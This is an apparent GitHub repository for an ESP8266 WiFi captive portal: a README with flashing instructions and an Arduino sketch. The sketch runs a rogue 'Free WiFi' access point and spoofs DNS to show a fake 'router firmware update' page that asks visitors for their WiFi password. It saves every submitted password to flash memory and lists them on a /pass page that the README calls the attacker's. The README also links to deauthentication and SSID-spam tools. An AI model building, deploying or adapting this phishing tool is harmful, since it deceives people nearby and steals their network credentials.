├── LICENSE ├── README.md ├── WiFi_Captive_Portal.ino └── src ├── 1_Index_2.jpg ├── 2_Post.jpg ├── 3_Pass.jpg ├── 4_ssid.jpg └── thumbnail.png /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 BlueArduino20 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ESP8266 WiFi Captive Portal 2 | 3 | ## Disclaimer 4 | This project is for testing and educational purposes. Use it only against your own networks and devices. I don't take any responsibility for what you do with this program. 5 | 6 | ## About this project 7 | WiFi captive portal for the NodeMCU (ESP8266 Module) with DNS spoofing. 8 | 9 | The built-in LED will blink 5 times when a password is posted. 10 | 11 | Warning! Your saved passwords will **not** disappear when you restart/power off the ESP8266. 12 | 13 | Note: If you want to see the stored passwords go to "**172.0.0.1**/pass". For changing the SSID, go to "**172.0.0.1**/ssid" 14 | 15 | V. 2.0 (Fake sign in): https://github.com/125K/ESP8266_WiFi_Captive_Portal_2.0 16 | 17 | # Showcase 18 | 19 | 20 | 21 | # Screenshots 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 |
172.0.0.1/index172.0.0.1/post172.0.0.1/pass172.0.0.1/ssid
This is the main page. Here the user will write his password and send it.This is the post page. The user will be redirected here after posting the password.This is where the attacker can retrieve all the passwords that has been posted.Here the attacker can change the SSID name of the Access Point on the go.
42 | 43 | Here you can donate if you liked my project and you want to support me: 44 | 45 | Buy Me A Coffee 46 | 47 | # Installation (ESP8266 Flasher - Easy way) 48 | 49 | 1. Download ESP8266 Flasher. 50 | 51 | 2. Download the release.bin file. 52 | 53 | 3. Open the ESP8266 Flasher and select the Node MCU port 54 | 55 | 56 | 57 | 4. Then, go to the config tab and select the .bin file you've just downloaded. 58 | 59 | 60 | 61 | 5. Finally, go back to the first tab and press "Flash" 62 | 63 | 6. Your Node MCU is ready! 64 | 65 | # Installation (Arduino IDE) 66 | 67 | 1. Open your Arduino IDE and go to "File -> Preferences -> Boards Manager URLs" and paste the following link: 68 | ``http://arduino.esp8266.com/stable/package_esp8266com_index.json`` 69 | 2. Go to "Tools -> Board -> Boards Manager", search "esp8266" and install esp8266 70 | 3. Go to "Tools -> Board" and select you board" 71 | 4. Download and open the sketch "WiFi_Captive_Portal.ino" 72 | 5. You can optionally change some parameters like the SSID name and texts of the page like title, subtitle, text body... 73 | 6. Upload the code into your board. 74 | 7. You are done! 75 | 76 | 77 | ## Check out my other projects 78 | 79 | - **WiFi-Spam**: :email::satellite: Spam thousands of WiFi access points with custom SSIDs. 80 | - https://github.com/125K/WiFi-Spam 81 | - **PwrDeauther**: :zap: Deauth a specific WiFi access point or an entire channel. 82 | - https://github.com/125K/PwrDeauther 83 | -------------------------------------------------------------------------------- /WiFi_Captive_Portal.ino: -------------------------------------------------------------------------------- 1 | // ESP8266 WiFi Captive Portal 2 | // By 125K (github.com/125K) 3 | 4 | // Libraries 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | // Default SSID name 11 | const char* SSID_NAME = "Free WiFi"; 12 | 13 | // Default main strings 14 | #define SUBTITLE "Router info." 15 | #define TITLE "Update" 16 | #define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally." 17 | #define POST_TITLE "Updating..." 18 | #define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.
Thank you." 19 | #define PASS_TITLE "Passwords" 20 | #define CLEAR_TITLE "Cleared" 21 | 22 | // Init system settings 23 | const byte HTTP_CODE = 200; 24 | const byte DNS_PORT = 53; 25 | const byte TICK_TIMER = 1000; 26 | IPAddress APIP(172, 0, 0, 1); // Gateway 27 | 28 | String allPass = ""; 29 | String newSSID = ""; 30 | String currentSSID = ""; 31 | 32 | // For storing passwords in EEPROM. 33 | int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time. 34 | int passStart = 30; // Starting location in EEPROM to save password. 35 | int passEnd = passStart; // Ending location in EEPROM to save password. 36 | 37 | 38 | unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0; 39 | DNSServer dnsServer; ESP8266WebServer webServer(80); 40 | 41 | String input(String argName) { 42 | String a = webServer.arg(argName); 43 | a.replace("<","<");a.replace(">",">"); 44 | a.substring(0,200); return a; } 45 | 46 | String footer() { 47 | return ""; 48 | } 49 | 50 | String header(String t) { 51 | String a = String(currentSSID); 52 | String CSS = "article { background: #f2f2f2; padding: 1.3em; }" 53 | "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" 54 | "div { padding: 0.5em; }" 55 | "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" 56 | "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }" 57 | "label { color: #333; display: block; font-style: italic; font-weight: bold; }" 58 | "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" 59 | "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " 60 | "textarea { width: 100%; }"; 61 | String h = "" 62 | "" + a + " :: " + t + "" 63 | "" 64 | "" 65 | "" 66 | "

" + t + "

"; 67 | return h; } 68 | 69 | String index() { 70 | return header(TITLE) + "
" + BODY + "
"+ 71 | "
" + footer(); 72 | } 73 | 74 | String posted() { 75 | String pass = input("m"); 76 | pass = "
  • " + pass + "
  • "; // Adding password in a ordered list. 77 | allPass += pass; // Updating the full passwords. 78 | 79 | // Storing passwords to EEPROM. 80 | for (int i = 0; i <= pass.length(); ++i) 81 | { 82 | EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM. 83 | } 84 | 85 | passEnd += pass.length(); // Updating end position of passwords in EEPROM. 86 | EEPROM.write(passEnd, '\0'); 87 | EEPROM.commit(); 88 | return header(POST_TITLE) + POST_BODY + footer(); 89 | } 90 | 91 | String pass() { 92 | return header(PASS_TITLE) + "
      " + allPass + "

    Back to Index

    Clear passwords

    " + footer(); 93 | } 94 | 95 | String ssid() { 96 | return header("Change SSID") + "

    Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.

    " + "
    "+ 97 | "
    " + footer(); 98 | } 99 | 100 | String postedSSID() { 101 | String postedSSID = input("s"); newSSID="
  • " + postedSSID + "
  • "; 102 | for (int i = 0; i < postedSSID.length(); ++i) { 103 | EEPROM.write(i, postedSSID[i]); 104 | } 105 | EEPROM.write(postedSSID.length(), '\0'); 106 | EEPROM.commit(); 107 | WiFi.softAP(postedSSID); 108 | } 109 | 110 | String clear() { 111 | allPass = ""; 112 | passEnd = passStart; // Setting the password end location -> starting position. 113 | EEPROM.write(passEnd, '\0'); 114 | EEPROM.commit(); 115 | return header(CLEAR_TITLE) + "

    The password list has been reseted.

    Back to Index
    " + footer(); 116 | } 117 | 118 | void BLINK() { // The built-in LED will blink 5 times after a password is posted. 119 | for (int counter = 0; counter < 10; counter++) 120 | { 121 | // For blinking the LED. 122 | digitalWrite(BUILTIN_LED, counter % 2); 123 | delay(500); 124 | } 125 | } 126 | 127 | void setup() { 128 | // Serial begin 129 | Serial.begin(115200); 130 | 131 | bootTime = lastActivity = millis(); 132 | EEPROM.begin(512); 133 | delay(10); 134 | 135 | // Check whether the ESP is running for the first time. 136 | String checkValue = "first"; // This will will be set in EEPROM after the first run. 137 | 138 | for (int i = 0; i < checkValue.length(); ++i) 139 | { 140 | if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i]) 141 | { 142 | // Add "first" in initialCheckLocation. 143 | for (int i = 0; i < checkValue.length(); ++i) 144 | { 145 | EEPROM.write(i + initialCheckLocation, checkValue[i]); 146 | } 147 | EEPROM.write(0, '\0'); // Clear SSID location in EEPROM. 148 | EEPROM.write(passStart, '\0'); // Clear password location in EEPROM 149 | EEPROM.commit(); 150 | break; 151 | } 152 | } 153 | 154 | // Read EEPROM SSID 155 | String ESSID; 156 | int i = 0; 157 | while (EEPROM.read(i) != '\0') { 158 | ESSID += char(EEPROM.read(i)); 159 | i++; 160 | } 161 | 162 | // Reading stored password and end location of passwords in the EEPROM. 163 | while (EEPROM.read(passEnd) != '\0') 164 | { 165 | allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM. 166 | passEnd++; // Updating the end location of password in EEPROM. 167 | } 168 | 169 | WiFi.mode(WIFI_AP); 170 | WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); 171 | 172 | // Setting currentSSID -> SSID in EEPROM or default one. 173 | currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME; 174 | 175 | Serial.print("Current SSID: "); 176 | Serial.print(currentSSID); 177 | WiFi.softAP(currentSSID); 178 | 179 | // Start webserver 180 | dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP) 181 | webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); }); 182 | webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); }); 183 | webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); }); 184 | webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); }); 185 | webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); }); 186 | webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); }); 187 | webServer.begin(); 188 | 189 | // Enable the built-in LED 190 | pinMode(BUILTIN_LED, OUTPUT); 191 | digitalWrite(BUILTIN_LED, HIGH); 192 | } 193 | 194 | 195 | void loop() { 196 | if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();} 197 | dnsServer.processNextRequest(); webServer.handleClient(); } 198 | -------------------------------------------------------------------------------- /src/1_Index_2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/adamff-dev/ESP8266-Captive-Portal/9af8cc6413f8596fd17586758a7a03afc50c9320/src/1_Index_2.jpg -------------------------------------------------------------------------------- /src/2_Post.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/adamff-dev/ESP8266-Captive-Portal/9af8cc6413f8596fd17586758a7a03afc50c9320/src/2_Post.jpg -------------------------------------------------------------------------------- /src/3_Pass.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/adamff-dev/ESP8266-Captive-Portal/9af8cc6413f8596fd17586758a7a03afc50c9320/src/3_Pass.jpg -------------------------------------------------------------------------------- /src/4_ssid.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/adamff-dev/ESP8266-Captive-Portal/9af8cc6413f8596fd17586758a7a03afc50c9320/src/4_ssid.jpg -------------------------------------------------------------------------------- /src/thumbnail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/adamff-dev/ESP8266-Captive-Portal/9af8cc6413f8596fd17586758a7a03afc50c9320/src/thumbnail.png --------------------------------------------------------------------------------